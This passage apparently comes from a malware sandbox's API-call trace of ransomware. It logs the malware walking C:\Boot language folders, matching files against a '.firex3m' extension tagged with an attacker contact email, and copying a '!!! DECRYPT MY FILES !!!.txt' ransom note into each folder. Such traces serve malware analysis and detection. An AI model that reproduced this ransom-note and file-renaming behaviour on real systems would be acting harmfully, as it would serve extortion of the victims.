lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0102.547] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0102.548] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0102.548] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0102.548] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe33c, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txt") returned 28 [0102.548] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x64e230, cbMultiByte=17, lpWideCharStr=0x6ebe338, cchWideChar=2047 | out: lpWideCharStr="TEEWLJH3QNDSEELUTFILES !!!.txt") returned 17 [0102.548] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT", lpFindFileData=0x6ebf0a4 | out: lpFindFileData=0x6ebf0a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf971581b, ftCreationTime.dwHighDateTime=0x1d5e216, ftLastAccessTime.dwLowDateTime=0xf971581b, ftLastAccessTime.dwHighDateTime=0x1d5e216, ftLastWriteTime.dwLowDateTime=0xf971581b, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x12f, dwReserved0=0xc4912aed, dwReserved1=0x778947df, cFileName="TEEWLJH3QNDSEELUT", cAlternateFileName="TEEWLJ~1")) returned 0x6d5040 [0102.548] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0102.548] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Boot\\nl-NL\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\boot\\nl-nl\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0102.552] GetProcessHeap () returned 0x630000 [0102.552] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b1208, Size=0x10) returned 0x6b1220 [0102.552] FindNextFileW (in: hFindFile=0x6d4f80, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0102.552] FindClose (in: hFindFile=0x6d4f80 | out: hFindFile=0x6d4f80) returned 1 [0102.553] FindNextFileW (in: hFindFile=0x6d4e00, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef65403a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0102.553] SysReAllocStringLen (in: pbstr=0x6ebf3a0*=0x0, psz="C:\\Boot\\pl-PL\\", len=0xe | out: pbstr=0x6ebf3a0*="C:\\Boot\\pl-PL\\") returned 1 [0102.553] CharLowerBuffW (in: lpsz="C:\\Boot\\pl-PL\\", cchLength=0xe | out: lpsz="c:\\boot\\pl-pl\\") returned 0xe [0102.553] SysReAllocStringLen (in: pbstr=0x6ebf348*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebf348*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0102.553] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0102.553] FindFirstFileW (in: lpFileName="C:\\Boot\\pl-PL\\*.*", lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef65403a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d51c0 [0102.557] FindNextFileW (in: hFindFile=0x6d51c0, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef65403a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0102.557] FindNextFileW (in: hFindFile=0x6d51c0, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4912aed, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2112e17f, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f58, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0102.557] SysReAllocStringLen (in: pbstr=0x6ebf398*=0x0, psz="C:\\Boot\\pl-PL\\bootmgr.exe.mui", len=0x1d | out: pbstr=0x6ebf398*="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 1 [0102.557] CharLowerBuffW (in: lpsz="C:\\Boot\\pl-PL\\bootmgr.exe.mui", cchLength=0x1d | out: lpsz="c:\\boot\\pl-pl\\bootmgr.exe.mui") returned 0x1d [0102.558] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0102.558] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0102.558] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0102.558] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0102.558] FindNextFileW (in: hFindFile=0x6d51c0, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0102.558] SysReAllocStringLen (in: pbstr=0x6ebf398*="c:\\boot\\pl-pl\\bootmgr.exe.mui", psz="C:\\Boot\\pl-PL\\memtest.exe.mui", len=0x1d | out: pbstr=0x6ebf398*="C:\\Boot\\pl-PL\\memtest.exe.mui") returned 1 [0102.558] CharLowerBuffW (in: lpsz="C:\\Boot\\pl-PL\\memtest.exe.mui", cchLength=0x1d | out: lpsz="c:\\boot\\pl-pl\\memtest.exe.mui") returned 0x1d [0102.558] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0102.558] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0102.558] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0102.558] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0102.558] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe33c, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txt") returned 28 [0102.559] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x64e230, cbMultiByte=17, lpWideCharStr=0x6ebe338, cchWideChar=2047 | out: lpWideCharStr="TEEWLJH3QNDSEELUTFILES !!!.txt") returned 17 [0102.559] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT", lpFindFileData=0x6ebf0a4 | out: lpFindFileData=0x6ebf0a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf971581b, ftCreationTime.dwHighDateTime=0x1d5e216, ftLastAccessTime.dwLowDateTime=0xf971581b, ftLastAccessTime.dwHighDateTime=0x1d5e216, ftLastWriteTime.dwLowDateTime=0xf971581b, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x12f, dwReserved0=0xc4912aed, dwReserved1=0x778947df, cFileName="TEEWLJH3QNDSEELUT", cAlternateFileName="TEEWLJ~1")) returned 0x6d5400 [0102.559] FindClose (in: hFindFile=0x6d5400 | out: hFindFile=0x6d5400) returned 1 [0102.559] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Boot\\pl-PL\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\boot\\pl-pl\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0102.563] GetProcessHeap () returned 0x630000 [0102.563] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6b1208 [0102.563] FindNextFileW (in: hFindFile=0x6d51c0, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0102.563] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0102.564] FindNextFileW (in: hFindFile=0x6d4e00, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6678d6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6678d6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0102.564] SysReAllocStringLen (in: pbstr=0x6ebf3a0*=0x0, psz="C:\\Boot\\pt-BR\\", len=0xe | out: pbstr=0x6ebf3a0*="C:\\Boot\\pt-BR\\") returned 1 [0102.564] CharLowerBuffW (in: lpsz="C:\\Boot\\pt-BR\\", cchLength=0xe | out: lpsz="c:\\boot\\pt-br\\") returned 0xe [0102.564] SysReAllocStringLen (in: pbstr=0x6ebf348*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebf348*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0102.564] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0102.564] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-BR\\*.*", lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6678d6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6678d6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d4f00 [0102.565] FindNextFileW (in: hFindFile=0x6d4f00, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6678d6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6678d6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0102.565] FindNextFileW (in: hFindFile=0x6d4f00, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4912aed, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2112e17f, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0102.565] SysReAllocStringLen (in: pbstr=0x6ebf398*=0x0, psz="C:\\Boot\\pt-BR\\bootmgr.exe.mui", len=0x1d | out: pbstr=0x6ebf398*="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 1 [0102.565] CharLowerBuffW (in: lpsz="C:\\Boot\\pt-BR\\bootmgr.exe.mui", cchLength=0x1d | out: lpsz="c:\\boot\\pt-br\\bootmgr.exe.mui") returned 0x1d [0102.565] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0102.565] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0102.565] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0102.566] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0102.566] FindNextFileW (in: hFindFile=0x6d4f00, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65dc94, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0102.566] SysReAllocStringLen (in: pbstr=0x6ebf398*="c:\\boot\\pt-br\\bootmgr.exe.mui", psz="C:\\Boot\\pt-BR\\memtest.exe.mui", len=0x1d | out: pbstr=0x6ebf398*="C:\\Boot\\pt-BR\\memtest.exe.mui") returned 1 [0102.566] CharLowerBuffW (in: lpsz="C:\\Boot\\pt-BR\\memtest.exe.mui", cchLength=0x1d | out: lpsz="c:\\boot\\pt-br\\memtest.exe.mui") returned 0x1d [0102.566] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0102.566] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0102.566] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0102.566] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0102.777] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe33c, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txt") returned 28 [0102.777] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x64e230, cbMultiByte=17, lpWideCharStr=0x6ebe338, cchWideChar=2047 | out: lpWideCharStr="TEEWLJH3QNDSEELUTFILES !!!.txt") returned 17 [0102.777] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT", lpFindFileData=0x6ebf0a4 | out: lpFindFileData=0x6ebf0a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf971581b, ftCreationTime.dwHighDateTime=0x1d5e216, ftLastAccessTime.dwLowDateTime=0xf971581b, ftLastAccessTime.dwHighDateTime=0x1d5e216, ftLastWriteTime.dwLowDateTime=0xf971581b, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x12f, dwReserved0=0xc4912aed, dwReserved1=0x778947df, cFileName="TEEWLJH3QNDSEELUT", cAlternateFileName="TEEWLJ~1")) returned 0x6d5080 [0102.777] FindClose (in: hFindFile=0x6d5080 | out: hFindFile=0x6d5080) returned 1 [0102.777] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Boot\\pt-BR\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\boot\\pt-br\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0102.781] GetProcessHeap () returned 0x630000 [0102.781] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6b1220 [0102.781] FindNextFileW (in: hFindFile=0x6d4f00, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0102.781] FindClose (in: hFindFile=0x6d4f00 | out: hFindFile=0x6d4f00) returned 1 [0102.782] FindNextFileW (in: hFindFile=0x6d4e00, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f167, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6714dc, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0102.782] SysReAllocStringLen (in: pbstr=0x6ebf3a0*=0x0, psz="C:\\Boot\\pt-PT\\", len=0xe | out: pbstr=0x6ebf3a0*="C:\\Boot\\pt-PT\\") returned 1 [0102.782] CharLowerBuffW (in: lpsz="C:\\Boot\\pt-PT\\", cchLength=0xe | out: lpsz="c:\\boot\\pt-pt\\") returned 0xe [0102.782] SysReAllocStringLen (in: pbstr=0x6ebf348*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebf348*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0102.782] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0102.782] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-PT\\*.*", lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f167, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6714dc, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d4e40 [0102.783] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f167, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6714dc, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0102.783] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2112e17f, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0102.783] SysReAllocStringLen (in: pbstr=0x6ebf398*=0x0, psz="C:\\Boot\\pt-PT\\bootmgr.exe.mui", len=0x1d | out: pbstr=0x6ebf398*="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 1 [0102.783] CharLowerBuffW (in: lpsz="C:\\Boot\\pt-PT\\bootmgr.exe.mui", cchLength=0x1d | out: lpsz="c:\\boot\\pt-pt\\bootmgr.exe.mui") returned 0x1d [0102.783] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0102.783] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0102.784] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0102.784] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0102.784] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6714dc, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0102.784] SysReAllocStringLen (in: pbstr=0x6ebf398*="c:\\boot\\pt-pt\\bootmgr.exe.mui", psz="C:\\Boot\\pt-PT\\memtest.exe.mui", len=0x1d | out: pbstr=0x6ebf398*="C:\\Boot\\pt-PT\\memtest.exe.mui") returned 1 [0102.784] CharLowerBuffW (in: lpsz="C:\\Boot\\pt-PT\\memtest.exe.mui", cchLength=0x1d | out: lpsz="c:\\boot\\pt-pt\\memtest.exe.mui") returned 0x1d [0102.784] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0102.784] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0102.784] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0102.784] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0102.784] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe33c, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txt") returned 28 [0102.784] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x64e230, cbMultiByte=17, lpWideCharStr=0x6ebe338, cchWideChar=2047 | out: lpWideCharStr="TEEWLJH3QNDSEELUTFILES !!!.txt") returned 17 [0102.785] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT", lpFindFileData=0x6ebf0a4 | out: lpFindFileData=0x6ebf0a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf971581b, ftCreationTime.dwHighDateTime=0x1d5e216, ftLastAccessTime.dwLowDateTime=0xf971581b, 